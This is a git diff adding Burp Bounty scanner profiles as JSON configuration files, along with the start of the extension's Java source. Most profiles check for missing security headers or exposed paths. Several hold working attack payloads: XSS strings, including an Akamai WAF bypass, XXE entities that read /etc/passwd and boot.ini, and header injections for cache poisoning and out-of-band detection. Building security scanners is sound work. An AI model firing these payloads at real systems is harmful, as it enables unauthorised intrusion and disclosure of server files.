+[{"Name":"Strict-Transport-Security","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["Strict-Transport-Security"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Strict-Transport-Security","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"Strict-Transport-Security\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Swagger-Finder.bb b/src/profiles/Swagger-Finder.bb new file mode 100755 index 0000000..31467fa --- /dev/null +++ b/src/profiles/Swagger-Finder.bb @@ -0,0 +1 @@ +[{"Name":"Swagger-Finder","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["/swagger-ui.html","/swagger/swagger-ui.html","/api/swagger-ui.html","/swagger/index.html","/v1.0/swagger-ui.html","/v2.0/swagger-ui.html","/v3.0/swagger-ui.html"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["id\u003d\"swagger"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":5,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Swagger-Finder","IssueSeverity":"Low","IssueConfidence":"Firm","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[65],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/WebCachePoisoning.bb b/src/profiles/WebCachePoisoning.bb new file mode 100755 index 0000000..d3b9701 --- /dev/null +++ b/src/profiles/WebCachePoisoning.bb @@ -0,0 +1 @@ +[{"Name":"WebCachePoisoning","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["STRINGFORREQUEST"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["TOKEN1337"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":3,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Web-Cache-Poisoning","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"Web Cache poisoning with payload: \u003cbr\u003e\u003cpayload\u003e\n\n\u003cbr\u003e\u003cbr\u003eBy James Kettle:\u003cbr\u003ehttps://portswigger.net/blog/practical-web-cache-poisoning","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Request","match":"","replace":"X-Forwarded-For: TOKEN1337","regex":"String"},{"type":"Request","match":"","replace":"X-Host: TOKEN1337","regex":"String"},{"type":"Request","match":"","replace":"X-Forwarded-Server: TOKEN1337","regex":"String"},{"type":"Request","match":"","replace":"X-Forwarded-Scheme: TOKEN1337","regex":"String"},{"type":"Request","match":"","replace":"X-Original-URL: TOKEN1337","regex":"String"},{"type":"Request","match":"","replace":"X-Rewrite-URL: TOKEN1337","regex":"String"}],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/WeblogicServer-UDDI Explorer.bb b/src/profiles/WeblogicServer-UDDI Explorer.bb new file mode 100755 index 0000000..ff4bfc5 --- /dev/null +++ b/src/profiles/WeblogicServer-UDDI Explorer.bb @@ -0,0 +1 @@ +[{"Name":"WeblogicServer-UDDI Explorer","Enabled":true,"Scanner":3,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["/uddiexplorer/searchpublicregistries.jsp"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"WeblogicServer-UDDI Explorer","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"https://www.exploit-db.com/ghdb/4991","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/Wordpress-SensitiveDirectories.bb b/src/profiles/Wordpress-SensitiveDirectories.bb new file mode 100755 index 0000000..7e630a2 --- /dev/null +++ b/src/profiles/Wordpress-SensitiveDirectories.bb @@ -0,0 +1 @@ +[{"Name":"Wordpress-SensitiveDirectories","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["/wp-content/uploads/wp-backup-plus/"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"Wordpress-SensitiveDirectories","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Wordpress Sensitive Directories:\u003cbr\u003e\n\nhttps://www.exploit-db.com/ghdb/5032/","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/X-Content-Type-Options.bb b/src/profiles/X-Content-Type-Options.bb new file mode 100755 index 0000000..be48e93 --- /dev/null +++ b/src/profiles/X-Content-Type-Options.bb @@ -0,0 +1 @@ +[{"Name":"X-Content-Type-Options","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["X-Content-Type-Options: nosniff"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"X-Content-Type-Options","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"X-Content-Type-Options\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/X-Frame-Options.bb b/src/profiles/X-Frame-Options.bb new file mode 100755 index 0000000..93500a5 --- /dev/null +++ b/src/profiles/X-Frame-Options.bb @@ -0,0 +1 @@ +[{"Name":"X-Frame-Options","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["X-Frame-Options"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"X-Frame-Options","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"X-Frame-Options\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/X-Headers-Collaborator.bb b/src/profiles/X-Headers-Collaborator.bb new file mode 100755 index 0000000..937a672 --- /dev/null +++ b/src/profiles/X-Headers-Collaborator.bb @@ -0,0 +1 @@ +[{"Name":"X-Headers-Collaborator","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["http://{BC}"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":1,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"X-Headers-Collaborator","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"X-Headers-Collaborator","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[{"type":"Request","match":"","replace":"X-Forwarded-For: {PAYLOAD}","regex":"String"},{"type":"Request","match":"","replace":"X-Host: {PAYLOAD}","regex":"String"},{"type":"Request","match":"","replace":"X-Forwarded-Server: {PAYLOAD}","regex":"String"},{"type":"Request","match":"","replace":"X-Forwarded-Scheme: {PAYLOAD}","regex":"String"},{"type":"Request","match":"","replace":"X-Original-URL: {PAYLOAD}","regex":"String"},{"type":"Request","match":"","replace":"X-Rewrite-URL: {PAYLOAD}","regex":"String"}],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/X-XSS-Protection.bb b/src/profiles/X-XSS-Protection.bb new file mode 100755 index 0000000..fcfe2b8 --- /dev/null +++ b/src/profiles/X-XSS-Protection.bb @@ -0,0 +1 @@ +[{"Name":"X-XSS-Protection","Enabled":true,"Scanner":2,"Author":"@egarme","Payloads":[],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["X-XSS-Protection: 1;"],"Tags":["All"],"PayloadResponse":false,"NotResponse":true,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":true,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"X-XSS-Protection","IssueSeverity":"Information","IssueConfidence":"Firm","IssueDetail":"Security Header \"X-XSS-Protection\" not present in response.","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/XSS - Akamai GHost bypass.bb b/src/profiles/XSS - Akamai GHost bypass.bb new file mode 100755 index 0000000..6381863 --- /dev/null +++ b/src/profiles/XSS - Akamai GHost bypass.bb @@ -0,0 +1 @@ +[{"Name":"XSS - Akamai GHost bypass","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003cdETAILS%0aopen%0aonToGgle%0a\u003d%0aa\u003dprompt,a()x\u003e"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["\u003cdETAILS"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":false,"ContentType":"text/plain","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":4,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"XSS - Akamai GHost bypass","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/XSS.bb b/src/profiles/XSS.bb new file mode 100755 index 0000000..b9771b9 --- /dev/null +++ b/src/profiles/XSS.bb @@ -0,0 +1 @@ +[{"Name":"XSS","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003c/script\u003e\u003cscript\u003econfirm(1)\u003c/script\u003e","\"\u003e\u003cimg src\u003dx onerror\u003dprompt(1);\u003e.","\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e","\u003csvg oNLoAd\u003dalert(\u0027XSS\u0027)\u003e","\u003csvg/oNLoAd\u003dalert(1)\u003e","\"\u003e\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e\u003c!--","\u003csvg\u003e\u003cscript\u003ealert\u0026#40/1/.source\u0026#41\u003c/script\u003e\u003c/svg\u003e","javascript:/*--\u003e\u003c/title\u003e\u003c/style\u003e\u003c/textarea\u003e\u003c/script\u003e\u003c/xmp\u003e\u003csvg/onload\u003d\u0027+/\"/+/onmouseover\u003d1/+/[*/[]/+alert(11)//\u0027\u003e","\u003cmarquee loop\u003d1 width\u003d0 onfinish\u003dalert(2)\u003e"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":true,"ContentType":"text/plain, application/json","NegativeCT":true,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":3,"RedirType":4,"MaxRedir":5,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"XSS","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"XSS with payloads: \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/XSSHtmlUrlEncode.bb b/src/profiles/XSSHtmlUrlEncode.bb new file mode 100755 index 0000000..1cae445 --- /dev/null +++ b/src/profiles/XSSHtmlUrlEncode.bb @@ -0,0 +1 @@ +[{"Name":"XSSHtmlUrlEncode","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003c/script\u003e\u003cscript\u003econfirm(1)\u003c/script\u003e","\"\u003e\u003cimg src\u003dx onerror\u003dprompt(1);\u003e.","\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e","\u003csvg oNLoAd\u003dalert(\u0027XSS\u0027)\u003e","\u003csvg/oNLoAd\u003dalert(1)\u003e","\"\u003e\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e\u003c!--","\u003csvg\u003e\u003cscript\u003ealert\u0026#40/1/.source\u0026#41\u003c/script\u003e\u003c/svg\u003e","javascript:/*--\u003e\u003c/title\u003e\u003c/style\u003e\u003c/textarea\u003e\u003c/script\u003e\u003c/xmp\u003e\u003csvg/onload\u003d\u0027+/\"/+/onmouseover\u003d1/+/[*/[]/+alert(11)//\u0027\u003e","\u003csvg \u003c/onload \u003d\"1\u003e (_\u003dalert,\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n_(1337)) \"\"\u003e","\u003cmarquee loop\u003d1 width\u003d0 onfinish\u003dalert(2)\u003e"],"Encoder":["HTML-encode all characters"],"UrlEncode":true,"CharsToUrlEncode":"\u0026;#","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":true,"ContentType":"text/html, application/json","NegativeCT":true,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":4,"RedirType":4,"MaxRedir":5,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"XSSHtmlUrlEncode","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"XSS with payloads: \u003cbr\u003e\u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[0],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/XSSUrlEncode.bb b/src/profiles/XSSUrlEncode.bb new file mode 100755 index 0000000..abb750e --- /dev/null +++ b/src/profiles/XSSUrlEncode.bb @@ -0,0 +1 @@ +[{"Name":"XSSUrlEncode","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003c/script\u003e\u003cscript\u003econfirm(1)\u003c/script\u003e","\"\u003e\u003cimg src\u003dx onerror\u003dprompt(1);\u003e.","\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e","\u003csvg oNLoAd\u003dalert(\u0027XSS\u0027)\u003e","\u003csvg/oNLoAd\u003dalert(1)\u003e","\"\u003e\u003cSCRIPT\u003ea\u003d/XSS/.alert(a.source)\u003c/SCRIPT\u003e\u003c!--","\u003csvg\u003e\u003cscript\u003ealert\u0026#40/1/.source\u0026#41\u003c/script\u003e\u003c/svg\u003e","javascript:/*--\u003e\u003c/title\u003e\u003c/style\u003e\u003c/textarea\u003e\u003c/script\u003e\u003c/xmp\u003e\u003csvg/onload\u003d\u0027+/\"/+/onmouseover\u003d1/+/[*/[]/+alert(11)//\u0027\u003e","\u003cmarquee loop\u003d1 width\u003d0 onfinish\u003dalert(2)\u003e"],"Encoder":["URL-encode key characters"],"UrlEncode":false,"CharsToUrlEncode":"","Grep":[],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":true,"OnlyHTTP":false,"IsContentType":true,"ContentType":"text/plain, application/json","NegativeCT":true,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":4,"RedirType":4,"MaxRedir":4,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"XSSUrlEncode","IssueSeverity":"Medium","IssueConfidence":"Certain","IssueDetail":"XSS with payloads: \u003cbr\u003e \u003cpayload\u003e","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/XXE.bb b/src/profiles/XXE.bb new file mode 100755 index 0000000..0b14f46 --- /dev/null +++ b/src/profiles/XXE.bb @@ -0,0 +1 @@ +[{"Name":"XXE","Enabled":true,"Scanner":1,"Author":"@egarme","Payloads":["\u003c?xml version\u003d\"1.0\" encoding\u003d\"ISO-8859-1\"?\u003e\u003c!DOCTYPE foo [\u003c!ELEMENT foo ANY\u003e\u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e]\u003e\u003cfoo\u003e\u0026xee;\u003c/foo\u003e","\u003c?xml version\u003d\"1.0\" encoding\u003d\"ISO-8859-1\"?\u003e\u003c!DOCTYPE foo [\u003c!ELEMENT foo ANY\u003e\u003c!ENTITY xxe SYSTEM \"file://c:/boot.ini\"\u003e]\u003e\u003cfoo\u003e\u0026xee;\u003c/foo\u003e","\u003c!DOCTYPE foo [ \u003c!ENTITY % xxe SYSTEM \"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk\"\u003e]\u003e\u003cfoo/\u003e","\u003c?xml version\u003d\"1.0\" encoding\u003d\"ISO-8859-1\"?\u003e\u003c!DOCTYPE foo [\u003c!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource\u003d/etc/passwd\"\u003e]\u003e\u003cfoo\u003e\u0026xee;\u003c/foo\u003e"],"Encoder":[],"UrlEncode":false,"CharsToUrlEncode":"","Grep":["root:x","boot loader","cm9vdD"],"Tags":["All"],"PayloadResponse":false,"NotResponse":false,"TimeOut":"","isTime":false,"contentLength":"","iscontentLength":false,"CaseSensitive":false,"ExcludeHTTP":false,"OnlyHTTP":false,"IsContentType":false,"ContentType":"","NegativeCT":false,"IsResponseCode":false,"ResponseCode":"","NegativeRC":false,"isurlextension":false,"NegativeUrlExtension":false,"MatchType":1,"RedirType":0,"MaxRedir":0,"payloadPosition":1,"payloadsFile":"","grepsFile":"","IssueName":"XXE","IssueSeverity":"High","IssueConfidence":"Certain","IssueDetail":"XXE found with: \u003cbr\u003e \u003cpayload\u003e ","RemediationDetail":"","IssueBackground":"","RemediationBackground":"","Header":[],"VariationAttributes":[],"InsertionPointType":[18,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127,65,32,36,7,1,2,6,33,5,35,34,64,0,3,4,37,127],"Scantype":0,"pathDiscovery":false}] \ No newline at end of file diff --git a/src/profiles/tags.txt b/src/profiles/tags.txt new file mode 100755 index 0000000..bc4cd76 --- /dev/null +++ b/src/profiles/tags.txt @@ -0,0 +1 @@ +All diff --git a/src/src/ActiveProfile.form b/src/src/ActiveProfile.form new file mode 100755 index 0000000..6f2c7ac --- /dev/null +++ b/src/src/ActiveProfile.form @@ -0,0 +1,2604 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/src/ActiveProfile.java b/src/src/ActiveProfile.java new file mode 100755 index 0000000..3ef86c5 --- /dev/null +++ b/src/src/ActiveProfile.java @@ -0,0 +1,2467 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import java.awt.Desktop; +import java.awt.Toolkit; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; +import java.awt.datatransfer.UnsupportedFlavorException; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import javax.swing.DefaultCellEditor; +import javax.swing.DefaultListModel; +import javax.swing.JComboBox; +import javax.swing.JDialog; +import javax.swing.JFileChooser; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JScrollPane; +import 